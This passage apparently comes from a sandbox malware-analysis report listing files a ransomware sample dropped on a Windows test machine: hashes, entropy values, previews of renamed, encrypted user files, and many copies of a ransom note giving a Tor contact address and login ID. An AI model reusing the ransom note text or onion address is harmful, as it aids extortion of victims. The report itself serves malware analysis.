C:\Users\user\Favorites\Youtube.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.5029641697401175
Encrypted:	false
SSDEEP:
MD5:	A5E167C1CA853335CF51C75B524A6EA5
SHA1:	C9FE87AB3107C3C3F745B0A814E18D9547F2F277
SHA-256:	3263DCEE8EDC2471BAA928C52FCED6D891742BDA7538F4F6C90342EE8D993020
SHA-512:	BEEDF1E4E47F86F10CC29B6EF368EC050C031AD05C8D1AC0C79BDB9716BECF25221F3C8DDA19EE924D4804136842C4ACDBE9FE73A07974CCCE4C7A9C607603B0
Malicious:	false
Preview:	..c...o`..~...3.F..b..7.M.W.l..W..9.....~...)....x<..3.M.ll'hortcut]..IDList=..URL=http://www.youtube.com/.......O..%.o#./..2..l.....w.{.R...w.c.....O..A#.gZ...{.aeKD. .%..6.B..BW...;.U.9[a+H'X..`..]\|jq.!Ct..A]....6..#...k...0.!...lB...>..."".@d....5.^..t.gfI..L....VA........"..8..O...[..0rl..H.PW.x.....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Links\Desktop.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.0660215088275935
Encrypted:	false
SSDEEP:
MD5:	A7BCCDBF723354A616EA0F02B2A01368
SHA1:	BD1D3135C84E222CF6BE6E7FEBF6B36158BB813D
SHA-256:	36174B02B8C6A3053AB3B49A82EC99A8743F9EB6347F14511C5B5F9B483C1A35
SHA-512:	4F945B490E08D9A64B6257906AD7CD68F028EA2A2B02A23B69AF85FB8D3B7C130C141216F1A26F997ACE2626D106570A0516305C23C5F7DAB88070F10CE2C3CA
Malicious:	false
Preview:	a...p.:'.~.....y=../...J$).N...C.....2.s..8.4v..Le....4l.uw.-...q.8'.~.....yx..ig..Z$)...w.E.PBQ..n7.yr..\|i.o.E#...4l.6M.xl.u..RH....Bd\|.I..i{ ..[.).c.w.h.P)Qv..s.y..\|j...Le....4.....Bo.f..L.....nU..~......iC...J;:0.1A.O..G......o..).Q.3.....:dL.o.4."Esr...p=.mT{...tz..../.@.....,.S.\|c.o.Se....4l.u..^.....W'.~.....y`..iJy..NJ.^.....P....2.yr.\|i.o.Lr....4V.)w.-l.bq.8T."...n..=...{v..[A).c.w.h.P2Q..ns.yr.\|i.<....=....?...=x.....h....H.....K...YM...?....................1..0.R....>.>.Wx..N{./...........\.Y.....%..c{.V,......#...R.@.6...5...(Z-4.6..P..7..\.;..,PW..K...H.a/A...../{......?.....[?[.t..zK.......<.H.).z]..6/....T>6.\z,GW...0s...7..T.];B[>2T._.H..{..............................................................................................29yp10v5m8k.

C:\Users\user\Links\Desktop.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.0660215088275935
Encrypted:	false
SSDEEP:
MD5:	A7BCCDBF723354A616EA0F02B2A01368
SHA1:	BD1D3135C84E222CF6BE6E7FEBF6B36158BB813D
SHA-256:	36174B02B8C6A3053AB3B49A82EC99A8743F9EB6347F14511C5B5F9B483C1A35
SHA-512:	4F945B490E08D9A64B6257906AD7CD68F028EA2A2B02A23B69AF85FB8D3B7C130C141216F1A26F997ACE2626D106570A0516305C23C5F7DAB88070F10CE2C3CA
Malicious:	false
Preview:	a...p.:'.~.....y=../...J$).N...C.....2.s..8.4v..Le....4l.uw.-...q.8'.~.....yx..ig..Z$)...w.E.PBQ..n7.yr..\|i.o.E#...4l.6M.xl.u..RH....Bd\|.I..i{ ..[.).c.w.h.P)Qv..s.y..\|j...Le....4.....Bo.f..L.....nU..~......iC...J;:0.1A.O..G......o..).Q.3.....:dL.o.4."Esr...p=.mT{...tz..../.@.....,.S.\|c.o.Se....4l.u..^.....W'.~.....y`..iJy..NJ.^.....P....2.yr.\|i.o.Lr....4V.)w.-l.bq.8T."...n..=...{v..[A).c.w.h.P2Q..ns.yr.\|i.<....=....?...=x.....h....H.....K...YM...?....................1..0.R....>.>.Wx..N{./...........\.Y.....%..c{.V,......#...R.@.6...5...(Z-4.6..P..7..\.;..,PW..K...H.a/A...../{......?.....[?[.t..zK.......<.H.).z]..6/....T>6.\z,GW...0s...7..T.];B[>2T._.H..{..............................................................................................29yp10v5m8k.

C:\Users\user\Links\Downloads.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1253
Entropy (8bit):	7.320103434263011
Encrypted:	false
SSDEEP:
MD5:	DE8AC9E3170393C5CB1BCC60DAC8231D
SHA1:	EF59B67C704FC39BC23A2FCE72F1AB5846692EA3
SHA-256:	D65EB93E2B865B36D9E60608AD818CCB8981EB7452199A74D29D14E64DB36ACE
SHA-512:	39C189634B4F881A44E890306891D298FAB099EFE1819827EE0705C1C267BA3F96813917E696DBABC5AC45F09FDCAD34977EB40030461FE9060C3C8CEA6812E0
Malicious:	false
Preview:	.W].DJ6...EL.~.A....5.8.:b.....():....1D..=l.f.9...\.-..]....2.W].E^4...ELf~.A.XD.n..?Br.}'Lg..@.;.9r...}.p.[z;.T..'!-..{.FC.2.W.(.(.1.mb}......\|.....c../L.....;4..f.^..B......\A-..L....2.WT._.$...E..".2.z....^`X>..X" ....;4..H.B@...q.....0.B..]u...".W].E^.;.Y..6~.]...Y...../..=).L..4.j..(.B\|.B....f..\.-..]u..F.'p.";@.`.E.^..z...".3Bu......3...O....}..A..2.h.....p.C..Lh[^8...P4~.H......04x2.H...T...i...`).B.z....\.-..]....2.W8.6^..<..L.~.A...R.B.Xb../LL....;...f...O..X....u....:0....2.W].EA4...EL6-.l.9....0(+P../aL.....4..W.B..t.+....o....]"....b].Eo4...E~6J.v.>.e..03+T../xL.....4..T.B..B...T..mT}..4...(...%./..EL6t.A...R..:.+b.@L;..;[..f..1..B......\.m..]..f..9.\.E^4...EL)~.A...R.I.Xb.JL!...;[..f..'.gB......\.-..]...y...=D^4...EL6O.....1....:..........;4..f.]..B......\[-......2.W../^[.z. LE~.A...R.^.Gb.NL(...;4..f.{..B.MR.w........Y..&.x.....h....H.....K...YM...?...................2.....c%...k.O..4..R...q..nG6'.... FL...M@..@....e..j.

C:\Users\user\Links\Downloads.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1253
Entropy (8bit):	7.320103434263011
Encrypted:	false
SSDEEP:
MD5:	DE8AC9E3170393C5CB1BCC60DAC8231D
SHA1:	EF59B67C704FC39BC23A2FCE72F1AB5846692EA3
SHA-256:	D65EB93E2B865B36D9E60608AD818CCB8981EB7452199A74D29D14E64DB36ACE
SHA-512:	39C189634B4F881A44E890306891D298FAB099EFE1819827EE0705C1C267BA3F96813917E696DBABC5AC45F09FDCAD34977EB40030461FE9060C3C8CEA6812E0
Malicious:	false
Preview:	.W].DJ6...EL.~.A....5.8.:b.....():....1D..=l.f.9...\.-..]....2.W].E^4...ELf~.A.XD.n..?Br.}'Lg..@.;.9r...}.p.[z;.T..'!-..{.FC.2.W.(.(.1.mb}......\|.....c../L.....;4..f.^..B......\A-..L....2.WT._.$...E..".2.z....^`X>..X" ....;4..H.B@...q.....0.B..]u...".W].E^.;.Y..6~.]...Y...../..=).L..4.j..(.B\|.B....f..\.-..]u..F.'p.";@.`.E.^..z...".3Bu......3...O....}..A..2.h.....p.C..Lh[^8...P4~.H......04x2.H...T...i...`).B.z....\.-..]....2.W8.6^..<..L.~.A...R.B.Xb../LL....;...f...O..X....u....:0....2.W].EA4...EL6-.l.9....0(+P../aL.....4..W.B..t.+....o....]"....b].Eo4...E~6J.v.>.e..03+T../xL.....4..T.B..B...T..mT}..4...(...%./..EL6t.A...R..:.+b.@L;..;[..f..1..B......\.m..]..f..9.\.E^4...EL)~.A...R.I.Xb.JL!...;[..f..'.gB......\.-..]...y...=D^4...EL6O.....1....:..........;4..f.]..B......\[-......2.W../^[.z. LE~.A...R.^.Gb.NL(...;4..f.{..B.MR.w........Y..&.x.....h....H.....K...YM...?...................2.....c%...k.O..4..R...q..nG6'.... FL...M@..@....e..j.

C:\Users\user\Links\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Music\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\OneDrive\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Pictures\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Recent\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Saved Games\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Searches\Everywhere.search-ms

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	6.883256873692861
Encrypted:	false
SSDEEP:
MD5:	A6E05295B6838DD7E964EF74372E8860
SHA1:	72EB0D1B7853B662E557B9D27AE851B05EDE5E47
SHA-256:	CAA4A9D0D601BD5BBE328E124CEA0B1C5F048A0FE22D27119AED33CB7BB47C7C
SHA-512:	F542B09519F3C67A0DB3839AC55FAB81A4DEFEE12332D4BCF869351FEF9FD49F28FB76EA9666E284198EE2244D50ACDA605B8518EB83DD97C298EA64929D884B
Malicious:	false
Preview:	R....bxxv6..]......A:2PC@.$..P..)...76...z..a.?...u.5$/.....G......'+?y.M......r=.....m.O...\|^T.~.._.r..a.g...W.../....N....Kcxkg.,_.....l.}CIB.m..Z......r..B.h.j.j......"a"....W705-d2c5c2264656}" />.. </query>..</persistedQuery>....dcj..U8......~.?..S.L.......l.G.Ph.....#L.EwX....+..]...mH9i.......a.P.7...W.jb.`pV.%..D.cI..~.y...$....z4;. ..#..]..\...w.%.w.3.....`:..5.v.I?... :..y.Ua..s.5.....(t.y.. S.k.i....3..M.......i...............................................................................................29yp10v5m8k.

C:\Users\user\Searches\Everywhere.search-ms.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	6.883256873692861
Encrypted:	false
SSDEEP:
MD5:	A6E05295B6838DD7E964EF74372E8860
SHA1:	72EB0D1B7853B662E557B9D27AE851B05EDE5E47
SHA-256:	CAA4A9D0D601BD5BBE328E124CEA0B1C5F048A0FE22D27119AED33CB7BB47C7C
SHA-512:	F542B09519F3C67A0DB3839AC55FAB81A4DEFEE12332D4BCF869351FEF9FD49F28FB76EA9666E284198EE2244D50ACDA605B8518EB83DD97C298EA64929D884B
Malicious:	false
Preview:	R....bxxv6..]......A:2PC@.$..P..)...76...z..a.?...u.5$/.....G......'+?y.M......r=.....m.O...\|^T.~.._.r..a.g...W.../....N....Kcxkg.,_.....l.}CIB.m..Z......r..B.h.j.j......"a"....W705-d2c5c2264656}" />.. </query>..</persistedQuery>....dcj..U8......~.?..S.L.......l.G.Ph.....#L.EwX....+..]...mH9i.......a.P.7...W.jb.`pV.%..D.cI..~.y...$....z4;. ..#..]..\...w.%.w.3.....`:..5.v.I?... :..y.Ua..s.5.....(t.y.. S.k.i....3..M.......i...............................................................................................29yp10v5m8k.

C:\Users\user\Searches\Indexed Locations.search-ms

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	6.915058135279636
Encrypted:	false
SSDEEP:
MD5:	A189020D1AC3627C0D5E5B041AEB06B0
SHA1:	99B4B55CFA9902765F9DC34F90A46D2A0641F30B
SHA-256:	BF1B643F7B63FCFF99A5E1D4DD46388EA9C624B576F6DE7A438B21398850D947
SHA-512:	DFC726A89118866045C01A4C57631CB7B4904394EC2D3A3EC3DE9FC29271DC8F032A82084F07A76BE94923EFF68983D5F1DC789C085E59F26BF0438C19C75B7D
Malicious:	false
Preview:	...+....:.....W.%/....\|x:bV.\|.....<....lP.-.:.W.4...S..J..p.f@..g..E.iR.....hncE..8,=h1..(..K.....XqX.&.:...{...~..J..%.4.....).:......Y.'0...Aor8t..f..8..5.,.E=B.u.).J.s...K..^..a.ub2c-40f215767514}" />.. </query>..</persistedQuery>......-....2k./.......q.]Uw..s.PNA"...H.C.4gx..;....K.6v...A{.u....!....m %..j.'k ..ux.aO....1}R..WS....~.ef...+...:....<.U.$......R.........}...+5.C......!.3..W.....L..Bz.m..i3........k.-."C~.%._..............................................................................................29yp10v5m8k.

C:\Users\user\Searches\Indexed Locations.search-ms.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	6.915058135279636
Encrypted:	false
SSDEEP:
MD5:	A189020D1AC3627C0D5E5B041AEB06B0
SHA1:	99B4B55CFA9902765F9DC34F90A46D2A0641F30B
SHA-256:	BF1B643F7B63FCFF99A5E1D4DD46388EA9C624B576F6DE7A438B21398850D947
SHA-512:	DFC726A89118866045C01A4C57631CB7B4904394EC2D3A3EC3DE9FC29271DC8F032A82084F07A76BE94923EFF68983D5F1DC789C085E59F26BF0438C19C75B7D
Malicious:	false
Preview:	...+....:.....W.%/....\|x:bV.\|.....<....lP.-.:.W.4...S..J..p.f@..g..E.iR.....hncE..8,=h1..(..K.....XqX.&.:...{...~..J..%.4.....).:......Y.'0...Aor8t..f..8..5.,.E=B.u.).J.s...K..^..a.ub2c-40f215767514}" />.. </query>..</persistedQuery>......-....2k./.......q.]Uw..s.PNA"...H.C.4gx..;....K.6v...A{.u....!....m %..j.'k ..ux.aO....1}R..WS....~.ef...+...:....<.U.$......R.........}...+5.C......!.3..W.....L..Bz.m..i3........k.-."C~.%._..............................................................................................29yp10v5m8k.

C:\Users\user\Searches\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.489367441231586
Encrypted:	false
SSDEEP:
MD5:	911CE9938404458B7918B3355B6682E1
SHA1:	BF6E237AC378A1D1C85895F640D7950A6AEB8987
SHA-256:	38131A3B982392F6CDF038E7B4F8E0592786065631E2AECF142E6604C39C3C04
SHA-512:	27BBE83497137540CDF5C056EF3D8A7CEFB3071D2756B21A3B1EB8146F752F2864E371788043DC44F4061FFE2E3EBE09CB20F588AB54AC3C5EB406BA7B37AFA5
Malicious:	false
Preview:	.?#.wa-....( .._...@...Ub.62...\W......ikM.X....]c......B-"..o5.c,7.....ar..@..K....a.hb'/......:..bnP.C..../....._<..t4.9.V......fa.....@MY.Xi.hb!,.......5..eyl.Q....Vl.......B17..i(.~ ).....\v..Q...O.._`.ou.2......{..oeO......./.....y...r/.~/.........S..^...YE.m.vQ.QO...z..ixk.@.....2.....vpe..7b.6.o.....WD..+...h.Y.Zc.ou:.......5..xoR.\....Vf.......C-?..e..x /.....5"..S......Nx.$?3..@B...8..8<.......6.....i`..6l.-wh....h-.....#yE..,.xu:5.......X..MKz.v....yA....q....U<.Z.......TC......o2$.}M.JQ...0....T..MK~.q....yA....q....A..Z......._C.......&..uc.gW.5.>,...b..jKz.W....yc......y....g..#........SC..>.m2T.m@.BT.$. #...l..BKf.q....yI....W....w..B.....QC..>..j2..KB.;S.%.0!...'..BKj.q....yM....u....A..R.....TC......o2$.}0.xu:5..........,6..Y....to......=Nn.searchConnectorDescription>....>.y.mC..........;.G(.....n.<.....t..)7.3R.@...W_7..p0.0.M6=W...fEB.F...s.C.....G...YU.,Q.... ...4c...../...B...Q..J?... .i.....dk.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.489367441231586
Encrypted:	false
SSDEEP:
MD5:	911CE9938404458B7918B3355B6682E1
SHA1:	BF6E237AC378A1D1C85895F640D7950A6AEB8987
SHA-256:	38131A3B982392F6CDF038E7B4F8E0592786065631E2AECF142E6604C39C3C04
SHA-512:	27BBE83497137540CDF5C056EF3D8A7CEFB3071D2756B21A3B1EB8146F752F2864E371788043DC44F4061FFE2E3EBE09CB20F588AB54AC3C5EB406BA7B37AFA5
Malicious:	false
Preview:	.?#.wa-....( .._...@...Ub.62...\W......ikM.X....]c......B-"..o5.c,7.....ar..@..K....a.hb'/......:..bnP.C..../....._<..t4.9.V......fa.....@MY.Xi.hb!,.......5..eyl.Q....Vl.......B17..i(.~ ).....\v..Q...O.._`.ou.2......{..oeO......./.....y...r/.~/.........S..^...YE.m.vQ.QO...z..ixk.@.....2.....vpe..7b.6.o.....WD..+...h.Y.Zc.ou:.......5..xoR.\....Vf.......C-?..e..x /.....5"..S......Nx.$?3..@B...8..8<.......6.....i`..6l.-wh....h-.....#yE..,.xu:5.......X..MKz.v....yA....q....U<.Z.......TC......o2$.}M.JQ...0....T..MK~.q....yA....q....A..Z......._C.......&..uc.gW.5.>,...b..jKz.W....yc......y....g..#........SC..>.m2T.m@.BT.$. #...l..BKf.q....yI....W....w..B.....QC..>..j2..KB.;S.%.0!...'..BKj.q....yM....u....A..R.....TC......o2$.}0.xu:5..........,6..Y....to......=Nn.searchConnectorDescription>....>.y.mC..........;.G(.....n.<.....t..)7.3R.@...W_7..p0.0.M6=W...fEB.F...s.C.....G...YU.,Q.... ...4c...../...B...Q..J?... .i.....dk.

C:\Users\user\Videos\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\_curlrc

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
